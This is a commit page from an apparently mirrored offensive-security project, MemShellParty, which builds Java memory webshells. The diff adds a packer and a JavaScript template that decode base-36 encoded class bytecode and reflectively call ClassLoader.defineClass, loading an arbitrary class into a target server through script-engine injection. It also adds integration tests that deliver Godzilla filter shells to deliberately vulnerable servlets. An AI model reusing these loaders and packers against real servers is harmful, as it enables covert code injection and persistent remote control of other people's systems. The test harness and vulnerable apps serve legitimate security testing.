archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-21 22:50:42 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: support ScriptEngineBigInteger

Browse Source
This commit is contained in:
Wans
2025-08-28 10:18:20 +08:00
committed by ReaJason
parent 02b2288a42
commit 8c3fad5c2d
12 changed files with 94 additions and 30 deletions
Download Patch File Download Diff File Expand all files Collapse all files
integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java
+1 -1
View File
@@ -328,7 +328,7 @@ public class ShellAssertion {
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.urlIsOk(shellUrl);
}
case ScriptEngine -> VulTool.postIsOk(url + "/js", content);
case ScriptEngine, DefaultScriptEngine, ScriptEngineBigInteger -> VulTool.postIsOk(url + "/js", content);
case EL -> VulTool.postIsOk(url + "/el", content);
case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringIOUtilsJDK17 ->
VulTool.postIsOk(url + "/spel", content);
integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java
+2
View File
@@ -53,6 +53,8 @@ public class Tomcat8ExpressionContainerTest {
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.BeanShell),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.DefaultScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineBigInteger),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Groovy),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava),
packer/src/main/java/com/reajason/javaweb/packer/BigIntegerPacker.java
+5 -1
View File
@@ -4,10 +4,14 @@ import lombok.SneakyThrows;
import java.math.BigInteger;
/**
* @author Wans
* @since 2025/08/26
*/
public class BigIntegerPacker implements Packer {
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return new BigInteger(config.getClassBytes()).toString(36);
return new BigInteger(config.getClassBytes()).toString( Character.MAX_RADIX);
}
}
packer/src/main/java/com/reajason/javaweb/packer/Packers.java
+4
View File
@@ -34,6 +34,8 @@ import com.reajason.javaweb.packer.ognl.OGNLPacker;
import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker;
import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker;
import com.reajason.javaweb.packer.rhino.RhinoPacker;
import com.reajason.javaweb.packer.scriptengine.DefaultScriptEnginePacker;
import com.reajason.javaweb.packer.scriptengine.ScriptEngineBigIntegerPacker;
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
import com.reajason.javaweb.packer.spel.SpELPacker;
import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
@@ -87,6 +89,8 @@ public enum Packers {
* 脚本引擎打包器
*/
ScriptEngine(new ScriptEnginePacker()),
DefaultScriptEngine(new DefaultScriptEnginePacker(), ScriptEnginePacker.class),
ScriptEngineBigInteger(new ScriptEngineBigIntegerPacker(), ScriptEnginePacker.class),
Rhino(new RhinoPacker()),
/**
packer/src/main/java/com/reajason/javaweb/packer/scriptengine/DefaultScriptEnginePacker.java
+33
View File
@@ -0,0 +1,33 @@
package com.reajason.javaweb.packer.scriptengine;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
public class DefaultScriptEnginePacker implements Packer {
String jsTemplate = null;
public DefaultScriptEnginePacker() {
try {
jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/DefaultScriptEngine.js")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return jsTemplate
.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", config.getClassBytesBase64Str())
.replace("\n", "")
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
.replaceAll("[ \t]{2,}", " ");
}
}
packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEngineBigIntegerPacker.java
+34
View File
@@ -0,0 +1,34 @@
package com.reajason.javaweb.packer.scriptengine;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
public class ScriptEngineBigIntegerPacker implements Packer {
String jsTemplate = null;
public ScriptEngineBigIntegerPacker() {
try {
jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/ScriptEngineBigInteger.js")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return jsTemplate
.replace("{{className}}", config.getClassName())
.replace("{{bigIntegerStr}}", Packers.BigInteger.getInstance().pack(config))
.replace("\n", "")
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
.replaceAll("[ \t]{2,}", " ");
}
}
packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java
+2 -21
View File
@@ -1,5 +1,6 @@
package com.reajason.javaweb.packer.scriptengine;
import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
@@ -13,25 +14,5 @@ import java.util.Objects;
* @author ReaJason
* @since 2024/12/3
*/
public class ScriptEnginePacker implements Packer {
String jsTemplate = null;
public ScriptEnginePacker() {
try {
jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return jsTemplate
.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", config.getClassBytesBase64Str())
.replace("\n", "")
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
.replaceAll("[ \t]{2,}", " ");
}
public class ScriptEnginePacker implements AggregatePacker {
}
packer/src/main/resources/shell.js → packer/src/main/resources/DefaultScriptEngine.js
View File
packer/src/main/resources/ScriptEngineBigInteger.js
+10
View File
@@ -0,0 +1,10 @@
var className = "{{className}}";
var bigIntegerStr = "{{bigIntegerStr}}";
var bytecode = new java.math.BigInteger(bigIntegerStr, 36).toByteArray();
var clsString = java.lang.Class.forName("java.lang.String");
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
var clsInt = java.lang.Integer.TYPE;
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsString, clsByteArray, clsInt, clsInt]);
defineClass.setAccessible(true);
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
clazz.newInstance();
vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java
+1 -3
View File
@@ -34,9 +34,7 @@ public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet
static byte[] decodeBigInteger(String bigIntegerStr) throws Exception {
Class<?> decoderClass = Class.forName("java.math.BigInteger");
java.lang.reflect.Constructor<?> ctor = decoderClass.getConstructor(String.class, int.class);
Object bigInt = ctor.newInstance(bigIntegerStr, 36);
return (byte[]) decoderClass.getMethod("toByteArray").invoke(bigInt);
return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX));
}
@Override
vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java
+1 -3
View File
@@ -31,9 +31,7 @@ public class BigIntegerClassLaoderServlet extends ClassLoader implements Servlet
static byte[] decodeBigInteger(String bigIntegerStr) throws Exception {
Class<?> decoderClass = Class.forName("java.math.BigInteger");
java.lang.reflect.Constructor<?> ctor = decoderClass.getConstructor(String.class, int.class);
Object bigInt = ctor.newInstance(bigIntegerStr, 36);
return (byte[]) decoderClass.getMethod("toByteArray").invoke(bigInt);
return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX));
}
@Override